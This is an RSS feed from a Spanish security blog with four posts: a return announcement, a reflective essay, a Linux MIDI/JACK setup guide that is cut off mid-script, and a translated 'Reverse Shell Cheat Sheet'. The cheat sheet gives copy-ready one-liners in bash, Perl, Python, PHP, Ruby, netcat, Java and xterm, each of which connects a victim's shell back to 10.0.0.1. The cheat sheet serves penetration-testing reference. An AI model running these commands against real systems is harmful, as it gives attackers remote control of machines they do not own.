<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Licencia para hackear</title>
	<atom:link href="https://licenciaparahackear.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>https://licenciaparahackear.wordpress.com</link>
	<description>&#34;No sé que depara el futuro. No vine a decirles como va a terminar esto. Vine a decirles como va a empezar. Le voy a mostrar a la gente lo que ustedes no quieren que vean. Un mundo sin reglas y controles, sin fronteras ni límites. Un mundo donde todo es posible&#34;</description>
	<lastBuildDate>Mon, 18 Feb 2019 14:54:24 +0000</lastBuildDate>
	<language>es</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='licenciaparahackear.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>https://secure.gravatar.com/blavatar/3ebe848ae8f142a3dbc314988195face251f34e35ab1ea6f3f76ee2da3eac103?s=96&#038;d=https%3A%2F%2Fs0.wp.com%2Fi%2Fbuttonw-com.png</url>
		<title>Licencia para hackear</title>
		<link>https://licenciaparahackear.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="https://licenciaparahackear.wordpress.com/osd.xml" title="Licencia para hackear" />
	<atom:link rel='hub' href='https://licenciaparahackear.wordpress.com/?pushpress=hub'/>
	<item>
		<title>Licencia para Hackear está de vuelta!</title>
		<link>https://licenciaparahackear.wordpress.com/2019/02/18/licencia-para-hackear-esta-de-vuelta/</link>
					<comments>https://licenciaparahackear.wordpress.com/2019/02/18/licencia-para-hackear-esta-de-vuelta/#respond</comments>
		
		<dc:creator><![CDATA[sh4r3m4n]]></dc:creator>
		<pubDate>Mon, 18 Feb 2019 14:54:24 +0000</pubDate>
				<category><![CDATA[Otros]]></category>
		<guid isPermaLink="false">http://licenciaparahackear.wordpress.com/?p=1569</guid>

					<description><![CDATA[Ya hace casi 4 años que no publico nada en mi blog. Un poco más si contamos solamente artículos de mi autoría. Bastantes cosas camiaron desde ese momento, en lo personal conseguí un trabajo bastante demandante y arranqué la facultad por lo que mi tiempo libre se vio considerablemente reducido. Siempre estuve con ganas de [&#8230;]]]></description>
										<content:encoded><![CDATA[<div class="e-content entry-content">
<div>
<p>Ya hace casi 4 años que no publico nada en mi blog. Un poco más si contamos solamente artículos de mi autoría. Bastantes cosas camiaron desde ese momento, en lo personal conseguí un trabajo bastante demandante y arranqué la facultad por lo que mi tiempo libre se vio considerablemente reducido.</p>
<p>Siempre estuve con ganas de retomar el blog en algún momento, aunque no sabía cuando. Hace unos meses me di cuenta de que prácticamente todo el material técnico que leía estaba escrito en inglés. Si bien ahora me llevo bastante bien con ese idioma, no lo hacía cuando arranqué en el mundo de la seguridad informática, y recuerdo lo complicado que era encontrar información de calidad escrita en español. La mayoría de blogs en español que seguía también dejaron de publicar cosas, o se convirtieron en simples propagandas de los productos de Telefónica. Por esto me decidí a retomar el blog de una vez por todas, quizás con contenido diferente al anterior pero manteniendo la idea de publicar contenido técnico, en español y libre de empresas tratando de vender un producto.</p>
<p>La idea en esta nueva etapa es tratar de que todo lo que se publique esté disponible en español. En caso de que sea alguna publicación importante también puede haber una traducción al inglés. Al igual que en la primera etapa, el contenido será principalmente sobre seguridad informática y programación. En particular, ya tengo artículos pensados sobre vulnerabilidades en librerías de NodeJS, soluciones a retos de CTFs y charlas de conferencias.</p>
<p>Algo sobre lo que no tengo buenos recuerdos es tener que usar el editor de WordPress para redactar los artículos. Por esto voy a cambiar la plataforma que uso por un generador de sitios estáticos. El nuevo material que publique va a estar disponible en <a href="https://licenciaparahackear.github.io/">licenciaparahackear.github.io</a>, no en el blog viejo. El material viejo va a seguir disponible solamente en <a href="https://licenciaparahackear.wordpress.com/">licenciaparahackear.wordpress.com</a>, al menos hasta que encuentre la forma de exportar correctamente los posts de un WordPress a un sitio estático.</p>
<p>Estén atentos, porque pronto se viene la primera publicación de esta nueva etapa, y se viene con todo.</p>
<p>Saludos!</p>
</div>
</div>
]]></content:encoded>
					
					<wfw:commentRss>https://licenciaparahackear.wordpress.com/2019/02/18/licencia-para-hackear-esta-de-vuelta/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		
		<media:content url="https://2.gravatar.com/avatar/84e33638768ee835b874728832e8c4b3e4dfe64a1424070e30b55b2494c0a22f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">sh4r3m4n</media:title>
		</media:content>
	</item>
		<item>
		<title>Reverse Shell Cheat Sheet</title>
		<link>https://licenciaparahackear.wordpress.com/2015/04/10/reverse-shell-cheat-sheet/</link>
					<comments>https://licenciaparahackear.wordpress.com/2015/04/10/reverse-shell-cheat-sheet/#respond</comments>
		
		<dc:creator><![CDATA[sh4r3m4n]]></dc:creator>
		<pubDate>Sat, 11 Apr 2015 00:00:17 +0000</pubDate>
				<category><![CDATA[Hacking General]]></category>
		<category><![CDATA[Red remota]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[chatsheet]]></category>
		<category><![CDATA[netcat]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[perl]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[xterm]]></category>
		<guid isPermaLink="false">http://licenciaparahackear.wordpress.com/?p=1536</guid>

					<description><![CDATA[Si tenés la suerte de encontrar una vulnerabilidad de ejecución de comandos durante un test de penetración probablemente quieras usar una consola interactiva. Si no es posible añadir una nueva cuenta, clave SSH o fichero .rhosts y directamente loguearse, el siguiente paso será lanzar una shell reversa o dejar una shell escuchando en un puerto. [&#8230;]]]></description>
										<content:encoded><![CDATA[<div class="entryContent">
<p>Si tenés la suerte de encontrar una vulnerabilidad de ejecución de comandos durante un test de penetración probablemente quieras usar una consola interactiva.</p>
<p>Si no es posible añadir una nueva cuenta, clave SSH o fichero .rhosts y directamente loguearse, el siguiente paso será lanzar una shell reversa o dejar una shell escuchando en un puerto. En este post se verá el primer caso.</p>
<p>Las opciones para crear una shell reversa están limitadas por los lenguajes de scripting instalados en la máquina de la víctima (aunque tambien se podría subir un binario si uno está bien preparado).</p>
<p>Los ejempos a continuación funcionan para sistemas Unix-like. Algunos podrían funcionar también en Windows si se usa «cmd.exe» en vez de «/bin/sh -i».</p>
<p>Cada uno de los métodos siguientes están pensados para ser de una línea para que se puedan copiar fácil, por lo tanto no son muy legibles.</p>
<h3>Bash</h3>
<p>Algunas versiones de <a href="http://www.gnucitizen.org/blog/reverse-shell-with-bash/">bash pueden usarse como shell reversa</a> (probado en Ubuntu 10.10):</p>
<pre>bash -i &gt;&amp; /dev/tcp/10.0.0.1/8080 0&gt;&amp;1</pre>
<h3>PERL</h3>
<p>Esta es una versión más corta y minimalista de <a href="http://pentestmonkey.net/tools/web-shells/perl-reverse-shell">perl-reverse-shell</a>:</p>
<pre>perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,"&gt;&amp;S");open(STDOUT,"&gt;&amp;S");open(STDERR,"&gt;&amp;S");exec("/bin/sh -i");};'</pre>
<p>También existe una <a href="http://web.archive.org/web/20110301061331/http://www.plenz.com/reverseshell">alternativa en PERL en este enlace</a>.</p>
<h3>Python</h3>
<p>Probado en  GNU/Linux con Python 2.7:</p>
<pre>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'</pre>
<h3>PHP</h3>
<p>El código asume que estás usando el descriptor de ficheros número 3. Esto funcionó en mi sistema. Si no lo hace en el tuyo probá con los descriptores 4,5,6&#8230;</p>
<pre>php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3");'</pre>
<p>Si querés un fichero .php para subir podés usar <a href="http://pentestmonkey.net/tools/web-shells/php-reverse-shell">php-reverse-shell</a> que es más poderoso y robusto.</p>
<h3>Ruby</h3>
<pre>ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i &lt;&amp;%d &gt;&amp;%d 2&gt;&amp;%d",f,f,f)'</pre>
<h3>Netcat</h3>
<p>Netcat no suele estar presente en sistemas en producción y aún si lo hace hay que tener en cuenta que algunas versiones no soportan la opción -e.</p>
<pre>nc -e /bin/sh 10.0.0.1 1234</pre>
<p>Si tenés la versión incorrecta de netcat, <a href="http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-127498">Jeff Price points muestra en este enlace</a> que también es posible conseguir una shell de esta forma:</p>
<pre>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.0.0.1 1234 &gt;/tmp/f</pre>
<h3>Java</h3>
<pre>r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5&lt;&gt;/dev/tcp/10.0.0.1/2002;cat &lt;&amp;5 | while read line; do \$line 2&gt;&amp;5 &gt;&amp;5; done"] as String[])
p.waitFor()</pre>
<p>[Envío anónimo sin probar]</p>
<h3>xterm</h3>
<p>Una de las maneras más sencillas de obtener una shell reversa es vía una sesión de xterm. El comando a continuación se debe correr en la víctima. Este tratará de conectarse a tu máquina (10.0.0.1 en el puerto 6001).</p>
<pre>xterm -display 10.0.0.1:1</pre>
<p>Para obtener la shell en tu máquina necesitás iniciar un servidor X que escuche en el puerto 6001. Una de las formas de hacer esto es usando Xnest:</p>
<pre>Xnest :1</pre>
<p>Necesitarás autorizar a la víctima para que se conecte a tu equipo (también tiene que hacerse en este último):</p>
<pre>xhost +targetip</pre>
<h3>Otras lecturas</h3>
<p>Podés chequear <a href="http://bernardodamele.blogspot.com/2011/09/reverse-shells-one-liners.html">Bernardo’s Reverse Shell One-Liners</a>.  Tiene shells hechas de otra manera y la que hizo en ruby no usa /bin/sh para funcionar.</p>
<p>También existe una <a href="http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-122387">shell reversa escrita en gawk</a>,  que viene instalado por defecto en muchas máquinas por lo que lo convierte en una excelente herramienta para pentesters.</p>
<div class="clear">Traducido de <a href="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet" target="_blank">http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet</a></div>
<div class="clear">Saludos!</div>
</div>
]]></content:encoded>
					
					<wfw:commentRss>https://licenciaparahackear.wordpress.com/2015/04/10/reverse-shell-cheat-sheet/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		
		<media:content url="https://2.gravatar.com/avatar/84e33638768ee835b874728832e8c4b3e4dfe64a1424070e30b55b2494c0a22f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">sh4r3m4n</media:title>
		</media:content>
	</item>
		<item>
		<title>«No sé qué quiero, pero sé lo que no quiero&#8230;»</title>
		<link>https://licenciaparahackear.wordpress.com/2015/03/12/no-se-que-quiero-pero-se-lo-que-no-quiero/</link>
					<comments>https://licenciaparahackear.wordpress.com/2015/03/12/no-se-que-quiero-pero-se-lo-que-no-quiero/#comments</comments>
		
		<dc:creator><![CDATA[sh4r3m4n]]></dc:creator>
		<pubDate>Fri, 13 Mar 2015 00:16:29 +0000</pubDate>
				<category><![CDATA[Otros]]></category>
		<guid isPermaLink="false">http://licenciaparahackear.wordpress.com/?p=1511</guid>

					<description><![CDATA[Contra todos los que dicen, piensan o creen que no es necesario, el frecuentar con asiduidad la Ciudad permite tener un panorama mucho más social y humano a medida que uno visita lugares, conoce gente, acontece fenómenos, y demases. De esta forma, uno se da cuenta de que en el fondo del charco de la [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Contra todos los que dicen, piensan o creen que no es necesario, el frecuentar con asiduidad la Ciudad permite tener un panorama mucho más social y humano a medida que uno visita lugares, conoce gente, acontece fenómenos, y demases. De esta forma, uno se da cuenta de que en el fondo del charco de la humanidad, los problemas son todos los mismos. Pero más interesante, las soluciones <i>también </i>son prácticamente las mismas, sólo que con distinta forma (dependiendo de circunstancias).</p>
<p>Sucede que una cosa es encarar con una solución hacia un objetivo determinado&#8230; y otra es no tener un objetivo determinado. No por ignorancia -o tal vez sí-sino por falta de intención (!) Me canso de ver gente que <b>no sabe</b> lo que quiere. Pero no se detiene sólo en un objetivo general de vida, sino incluso en cuestiones particulares. Al no saber qué es lo que uno quiere, no puede expresarse correctamente para conseguirlo. Increíblemente saqué esta conclusión luego de que un señor hiciese una «pregunta» a un orador en conferencia y <i>nadie</i> entendió lo que había preguntado por que no había sido claro. Pero no &#8216;claro&#8217; en el sentido de la pregunta en sí, sino en saber qué estaba buscando.<br />
A ver, es obvio que errores cometemos todos y a lo mejor fue sólo una circunstancia aquella oportunidad, pero es (o sería) gravísimo en términos generales si se amplifica a la vida diaria. Por supuesto que está bueno tener dudas respecto a la vida -cuándo no- pero esto vino directamente de un señor entrado en años e inmediatamente preguntarme: «Si no pudo expresar bien una mísera pregunta, ¿qué queda para sus palabras o sus intenciones?».</p>
<p>Por eso rompo tanto las pelotas con conocerse a uno mismo. Mientras más cerca esté uno de su yo -tarea nada sencilla, por cierto- más cerca estará de conocer sus intenciones, saber cómo se piensa, auto-corregirse como humano, como persona, y poder darle una mano al mundo. Sino, ¿qué nos queda?</p>
<p>Fuente: <a href="http://ssaynomore.blogspot.com.ar/2014/06/no-se-que-quiero-pero-se-lo-que-no.html">http://ssaynomore.blogspot.com.ar/2014/06/no-se-que-quiero-pero-se-lo-que-no.html</a></p>
<p>Saludos!</p>
]]></content:encoded>
					
					<wfw:commentRss>https://licenciaparahackear.wordpress.com/2015/03/12/no-se-que-quiero-pero-se-lo-que-no-quiero/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
		
		<media:content url="https://2.gravatar.com/avatar/84e33638768ee835b874728832e8c4b3e4dfe64a1424070e30b55b2494c0a22f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">sh4r3m4n</media:title>
		</media:content>
	</item>
		<item>
		<title>Ted&#8217;s Linux MIDI Guide</title>
		<link>https://licenciaparahackear.wordpress.com/2015/01/23/teds-linux-midi-guide/</link>
					<comments>https://licenciaparahackear.wordpress.com/2015/01/23/teds-linux-midi-guide/#respond</comments>
		
		<dc:creator><![CDATA[sh4r3m4n]]></dc:creator>
		<pubDate>Sat, 24 Jan 2015 00:58:42 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Software Libre]]></category>
		<category><![CDATA[alsa]]></category>
		<category><![CDATA[audio]]></category>
		<category><![CDATA[jack]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[midi]]></category>
		<category><![CDATA[musica]]></category>
		<category><![CDATA[oss]]></category>
		<category><![CDATA[pulse]]></category>
		<category><![CDATA[pulseaudio]]></category>
		<guid isPermaLink="false">http://licenciaparahackear.wordpress.com/?p=1529</guid>

					<description><![CDATA[Introduction Linux is a great OS for MIDI. The problem is that you&#8217;ve got to understand a lot about Linux to get started. This guide is intended to help ease the transition. This document has been tested with Ubuntu 14.10. This is a very command-line-intensive tutorial. The reason for this is that it reduces the [&#8230;]]]></description>
										<content:encoded><![CDATA[<h2>Introduction</h2>
<p>Linux is a great OS for MIDI. The problem is that you&#8217;ve got to understand a lot about Linux to get started. This guide is intended to help ease the transition. This document has been tested with Ubuntu 14.10.</p>
<p>This is a very command-line-intensive tutorial. The reason for this is that it reduces the amount of software that is running which has two advantages: performance and reliability. The GUI can introduce new bugs, so it&#8217;s more reliable to work with the command line tools. We will get to the GUI stuff near the end.</p>
<p>If you would prefer a faster, more GUI approach, start with the «audio» Group section, then jump to the qjackctl and Qsynth sections, then go back to the Virtual MIDI Keyboard section and read to the end. This should get you going quickly. It&#8217;s still a good idea to read the whole thing as there are many helpful troubleshooting tips sprinkled throughout.</p>
<h2>«audio» Group</h2>
<p>Audio software needs to run at a higher priority and with memory locked so that it doesn&#8217;t swap out to the hard disk. To give a user that power, we create an «audio» group, give that group some special privileges, then add the user to that group.</p>
<p><i>Note: Ubuntu/Debian can set up a properly configured audio group for you when you install jackd2. If you&#8217;d like, you can do this before continuing:</i></p>
<blockquote><p>sudo apt-get install jackd2</p></blockquote>
<p><i>Be sure to say «yes» when it asks if you want to enable realtime process priority:</i></p>
<p><img src="https://i0.wp.com/tedfelix.com/linux/jackd2-install-ubuntu14.10.png" alt="" /></p>
<p><i>After jackd2 is installed, you can skip to «Add Users To «audio» Group» below.</i></p>
<h3>Create An «audio» Group</h3>
<p>First, let&#8217;s check to see if your system already has an audio group:</p>
<blockquote><p>$ grep audio /etc/group<br />
audio:x:29:pulse</p></blockquote>
<p>If you see an «audio» line like the one above, then you&#8217;ve already got an audio group and you can skip to Group Limits.</p>
<p>If grep didn&#8217;t find an audio group, add one with groupadd:</p>
<blockquote><p>sudo groupadd audio</p></blockquote>
<h3>Group Limits</h3>
<p>The limits for the audio group can usually be found in /etc/security/limits.d/audio.conf. Check to see if that file exists on your system. If not, create one. You might need to create the limits.d directory. Use mkdir for that:</p>
<blockquote><p>sudo mkdir /etc/security/limits.d</p></blockquote>
<p>Then create the audio.conf file in there. I usually use nano:</p>
<blockquote><p>sudo nano /etc/security/limits.d/audio.conf</p></blockquote>
<p>And add the following lines:</p>
<blockquote>
<pre>@audio   -  rtprio     95
@audio   -  memlock    unlimited
#@audio   -  nice       -19
</pre>
</blockquote>
<p>The rtprio line gives the audio group the ability to elevate real-time priority to 95 (99 is the highest). JACK needs to be able to do this to handle audio in real-time. The memlock line gives the ability to lock any amount of memory. fluidsynth needs to be able to do this to keep the soundfont in memory while it is using it. fluidsynth will issue error messages about not being able to «pin» memory if this isn&#8217;t working.</p>
<p>The commented out «nice» line would give the ability to raise nice priority to -19 (-20 is the highest). Since it is commented out (#), it does nothing. I&#8217;ve just provided it for reference.</p>
<p>For more info, see the <a href="http://linux.die.net/man/5/limits.conf">man page for limits.conf(5)</a>.</p>
<h3>Add Users To «audio» Group</h3>
<p>Even if all of the above was already done for you by your distro, the chances are good that you&#8217;ll still need to add yourself to the «audio» group. You can check to see if you are already in the «audio» group with the groups command:</p>
<blockquote><p>$ groups<br />
ted adm cdrom sudo dip plugdev lpadmin sambashare</p></blockquote>
<p>In this case, we can see that I am not in the audio group yet, so I need to add myself with gpasswd:</p>
<blockquote><p>sudo gpasswd -a ted audio</p></blockquote>
<p>You&#8217;ll want to use your userid instead of «ted» when you do this.</p>
<p>This change will not take effect immediately. You must logout then log back in again. Use the «groups» command to see if you were successfully added to the audio group.</p>
<blockquote><p>$ groups<br />
ted adm cdrom sudo <b>audio</b> dip plugdev lpadmin sambashare</p></blockquote>
<h2>ALSA</h2>
<p><a href="http://www.alsa-project.org/">ALSA</a>, the Advanced Linux Sound Architecture, is the part of the Linux kernel that talks to your sound-related hardware, like sound cards and MIDI interfaces. It is made up of device drivers and other kernel modules that provide useful audio-related functions. Many distros already have all the ALSA-related parts of the kernel built-in, so all you have to do is plug in your hardware and use it.</p>
<p><img src="https://i0.wp.com/tedfelix.com/linux/linux-midi.png" alt="" /></p>
<h3>ALSA Device Names</h3>
<p>To uniquely identify each piece of audio hardware on a system, ALSA assigns them unique names. Usually, «hw:0» is the name of your soundcard. The various audio programs assume that they will be working with hw:0, but they all provide ways to change this.</p>
<p>You can run into trouble if your soundcard isn&#8217;t where you think it should be. So, we need to figure out what audio device names have been assigned to which devices. There are two ways to do this. First we can check /proc/asound/cards:</p>
<blockquote>
<pre>$ cat /proc/asound/cards
 0 [Interface      ]: USB-Audio - USB Uno MIDI Interface
                      M-Audio USB Uno MIDI Interface at usb-0000:00:1d.0-1.2, full speed
 1 [LPK25          ]: USB-Audio - LPK25
                      AKAI professional LLC LPK25 at usb-0000:00:1d.0-1.1, full speed
 2 [Intel          ]: HDA-Intel - HDA Intel
                      HDA Intel at 0xd4400000 irq 45
</pre>
</blockquote>
<p>The numbers to the left indicate the card number. So in this case, number 2 is my soundcard. This means hw:2 is the ALSA device name I need to use. But this doesn&#8217;t tell the whole story. There may be multiple devices per card. aplay gets us that information:</p>
<blockquote>
<pre>$ aplay -l
**** List of PLAYBACK Hardware Devices ****
card 2: Intel [HDA Intel], device 0: ALC270 Analog [ALC270 Analog]
  Subdevices: 0/1
  Subdevice #0: subdevice #0
card 2: Intel [HDA Intel], device 3: HDMI 0 [HDMI 0]
  Subdevices: 1/1
  Subdevice #0: subdevice #0
</pre>
</blockquote>
<p>From this, we can see that I have two sound devices on my system. The first is card 2, device 0, or «hw:2,0». That is a standard sound device that is connected to my speakers and headphone jack. The second is card 2, device 3, or «hw:2,3». That is the sound device that drives my HDMI port.</p>
<p><i>Note that there is also a subdevice level. It appears that the general form is hw:card,device,subdevice. If you leave subdevice or device off, it assumes 0.</i></p>
<p>Hopefully «hw:0» is all you need to know after looking at your device lists. If not, then be sure to jot down the appropriate device name that you discovered, and use it where you see «hw:0» for the rest of this tutorial.</p>
<h3>Testing ALSA Audio</h3>
<p>Use aplay to test ALSA audio. aplay is a simple audio player that can play WAV files. You can use sox to generate a simple WAV file and then play it with aplay:</p>
<blockquote>
<pre>sox -b 16 -n test.wav rate 44100 channels 2 synth 1 sine 440
aplay -D hw:0 test.wav
</pre>
</blockquote>
<p>The one tricky thing about aplay is that the WAV file format must match the exact format that the device expects. If you get a «Channels count non available» message from aplay, then the format doesn&#8217;t match.</p>
<p><span id="more-1529"></span></p>
<h2>pulseaudio</h2>
<p><a href="http://www.pulseaudio.org">pulseaudio</a> sits on top of ALSA and allows more than one program to access the audio hardware. Many distros have pulseaudio installed by default. Try it. Try listening to an Internet radio station via an online player, then launch your favorite media player (Banshee, Rhythmbox, etc&#8230;) and play something. If pulseaudio is running, you&#8217;ll hear both. (Oddly, I&#8217;ve stopped pulseaudio and I can still hear two programs at once, so this apparently isn&#8217;t exactly true. Maybe ALSA can handle mixing audio sources now?)</p>
<h2>fluidsynth</h2>
<p><a href="http://www.fluidsynth.org">fluidsynth</a> is a software synthesizer or «softsynth». It can convert MIDI data into sound by using a «soundfont». On an apt-based distro (Debain, Ubuntu, Mint&#8230;), you can do the following to get fluidsynth and a soundfont (fluid-soundfont-gm) installed:</p>
<blockquote><p>sudo apt-get install fluidsynth</p></blockquote>
<p>Other distros should have similar packages available. To play a MIDI file called «song.mid»:</p>
<blockquote><p>fluidsynth &#8211;audio-driver=alsa -o audio.alsa.device=hw:0 /usr/share/sounds/sf2/FluidR3_GM.sf2 song.mid</p></blockquote>
<p>For testing, there are many sites with free midi files to download. Just search on «midi files».</p>
<p>To stop fluidsynth, type «quit» at its «&gt;» prompt. We&#8217;ll need to stop fluidsynth for the next section.</p>
<h2>aplaymidi</h2>
<p>Instead of having fluidsynth play a MIDI file, we can also have fluidsynth make music from MIDI data that comes from other programs. To test this, we&#8217;ll use the program aplaymidi which is part of the «alsa-utils» package. In apt-based distros:</p>
<blockquote><p>sudo apt-get install alsa-utils</p></blockquote>
<p>Now we&#8217;ll run fluidsynth as a server. This means that it will run and wait for other programs to connect to it and send it MIDI data.</p>
<blockquote><p>fluidsynth &#8211;server &#8211;audio-driver=alsa -o audio.alsa.device=hw:0 /usr/share/sounds/sf2/FluidR3_GM.sf2</p></blockquote>
<p>You&#8217;ll want to leave that running and bring up another terminal window. There you can use aplaymidi to find out what port number fluidsynth is waiting on:</p>
<blockquote><p>aplaymidi -l</p></blockquote>
<p>Here&#8217;s what mine shows:</p>
<blockquote>
<pre> Port    Client name                      Port name
 14:0    Midi Through                     Midi Through Port-0
128:0    FLUID Synth (2825)               Synth input port (2825:0)
</pre>
</blockquote>
<p>Note that fluidsynth is on port 128:0. We&#8217;ll need to use that to let aplaymidi know where to send MIDI data:</p>
<blockquote><p>aplaymidi -p 128:0 song.mid</p></blockquote>
<p>To stop fluidsynth, type «quit» at its «&gt;» prompt. We&#8217;ll need to stop fluidsynth for the next section.</p>
<h2>JACK</h2>
<p>Up to this point, we&#8217;ve seen how to do audio work with the ALSA drivers directly. However, for serious work, <a href="http://jackaudio.org/">JACK</a> is a better choice since it offers low-latency and the ability to synchronize multiple audio sources. You can think of JACK as an improved pulseaudio. JACK is (as the marketing types might say) «designed to meet the demanding needs of audio professionals.»</p>
<p>Before we get started with JACK, be sure to close any audio applications you&#8217;ve been using.</p>
<p>There are two versions of JACK: JACK1 and JACK2. These are <a href="http://trac.jackaudio.org/wiki/Q_differenc_jack1_jack2">interchangeable</a>. I&#8217;ve had better luck in the past with JACK2, so I tend to use it. If you didn&#8217;t already install JACK2 back in the «Audio Group» section, install it now.</p>
<blockquote><p>sudo apt-get install jackd2</p></blockquote>
<p>To run the JACK Daemon (jackd):</p>
<blockquote><p>jackd -d alsa &#8211;device hw:0 &#8211;rate 44100 &#8211;period 128</p></blockquote>
<p>The defaults for JACK are &#8211;rate 48000 and &#8211;period 1024. FluidSynth uses a sample rate of 44100, so going with 44100 reduces the amount of work that needs to be done. Setting the period to 128 frames (3msec) reduces latency to something much more suitable for music-making. The default value of 1024 is 23.2 milliseconds, which is a very noticeable delay.</p>
<h3>JACK Troubleshooting</h3>
<p>If you give JACK the wrong ALSA device name, you will get an «ALSA: Cannot open PCM device alsa_pcm for playback. Falling back to capture-only mode» error from JACK. See the section above on «ALSA Device Names» for more.</p>
<p>If you get an error message like:</p>
<blockquote>
<pre>Failed to acquire device name : Audio0 
error : Method "RequestRelease" with signature "i" on interface "org.freedesktop.ReserveDevice1" doesn't exist

Audio device hw:0 cannot be acquired...
Cannot initialize driver
</pre>
</blockquote>
<p>&#8230;then JACK and pulseaudio are having a bit of a disagreement over who should get the soundcard. See «Killing pulseaudio» below for information on how to stop pulseaudio.</p>
<h3>Testing JACK Audio</h3>
<p>We can use jack.play to make sure JACK audio is working. It&#8217;s part of the jack-tools package in Debian-based distros:</p>
<blockquote><p>sudo apt-get install jack-tools</p></blockquote>
<p>We&#8217;ll use sox to create a WAV file for testing.</p>
<blockquote><p>sox -b 16 -n test.wav rate 44100 channels 2 synth 1 sine 440</p></blockquote>
<p>Next, we need to tell jack.play what JACK port to connect to. This is done via the JACK_PLAY_CONNECT_TO environment variable.</p>
<blockquote><p>export JACK_PLAY_CONNECT_TO=system:playback_%d</p></blockquote>
<p>The «%d» is expanded to the channel number while connecting. So, with a stereo WAV file and the above value, jack.play will connect to system:playback_1 and system:playback_2.</p>
<p>Finally, we can test JACK with jack.play:</p>
<blockquote><p>jack.play test.wav</p></blockquote>
<h3>FluidSynth and JACK</h3>
<p>To run fluidsynth with JACK, bring up another terminal, and:</p>
<blockquote><p>fluidsynth &#8211;server &#8211;audio-driver=jack &#8211;connect-jack-outputs /usr/share/sounds/sf2/FluidR3_GM.sf2</p></blockquote>
<p>And finally, to test, bring up another terminal and use aplaymidi to send a MIDI file to fluidsynth&#8217;s port. Be sure to check which port fluidsynth is on, as it can change. See the aplaymidi section above.</p>
<p>To bring everything down, first stop fluidsynth by entering the «quit» command at fluidsynth&#8217;s «&gt;» prompt. Then switch to the terminal that is running JACK and hit Ctrl-C. Worst-case, you can use killall to stop JACK:</p>
<blockquote><p>killall jackd</p></blockquote>
<p><b>Important Note!</b> JACK takes over the soundcard on your computer. This means that your usual audio and video players will be broken while JACK is running. This includes rhythmbox, amarok, vlc, Adobe flash, etc&#8230;. I oftentimes find myself wondering why youtube videos aren&#8217;t working. Then I remember that I left JACK running. So, if your normal audio and video players aren&#8217;t working, try «killall jackd».</p>
<h3>.jackdrc</h3>
<p>Since most Linux music-making applications depend on JACK, and JACK&#8217;s defaults are not suitable for music-making, we need to set up a .jackdrc file. The .jackdrc file lives in your home directory and it contains the command line that programs should use to start JACK if it isn&#8217;t already running. Here&#8217;s what mine contains:</p>
<blockquote><p>/usr/bin/jackd -d alsa &#8211;device hw:0 &#8211;rate 44100 &#8211;period 128</p></blockquote>
<p>The only difference between this and what we did at the command line is the full pathname to jackd, /usr/bin/jackd. Make sure you set up a .jackdrc file before continuing.</p>
<p>Note: qjackctl (the JACK GUI) will clobber your .jackdrc file without warning. If you find .jackdrc useful, you should keep a backup of it and avoid qjackctl.</p>
<h2>Audio Script</h2>
<p>We can pull all of the above together into a script for starting JACK and FluidSynth:</p>
<blockquote>
<pre>#!/bin/bash

# Script to launch audio servers for music-making.

case $1 in

  start )
    # Start JACK
    # As of Ubuntu 12.10, a period of 128 is needed for good fluidsynth
    # timing.  (jackd 1.9.9, fluidsynth 1.1.5)
    jackd -d alsa --device hw:0 --rate 44100 --period 128 \
        &amp;&gt;/tmp/jackd.out &amp;

    # Start fluidsynth
    fluidsynth --server --no-shell --audio-driver=jack \
        --connect-jack-outputs --reverb=0 --chorus=0 --gain=0.8  \
        /usr/share/sounds/sf2/FluidR3_GM.sf2 \
        &amp;&gt;/tmp/fluidsynth.out &amp;

    sleep 1

    if pgrep jackd &amp;&amp; pgrep fluidsynth
    then
      echo Audio servers running.
    else
      echo There was a problem starting the audio servers.
    fi

    ;;

  stop )
    killall fluidsynth
    killall jackd
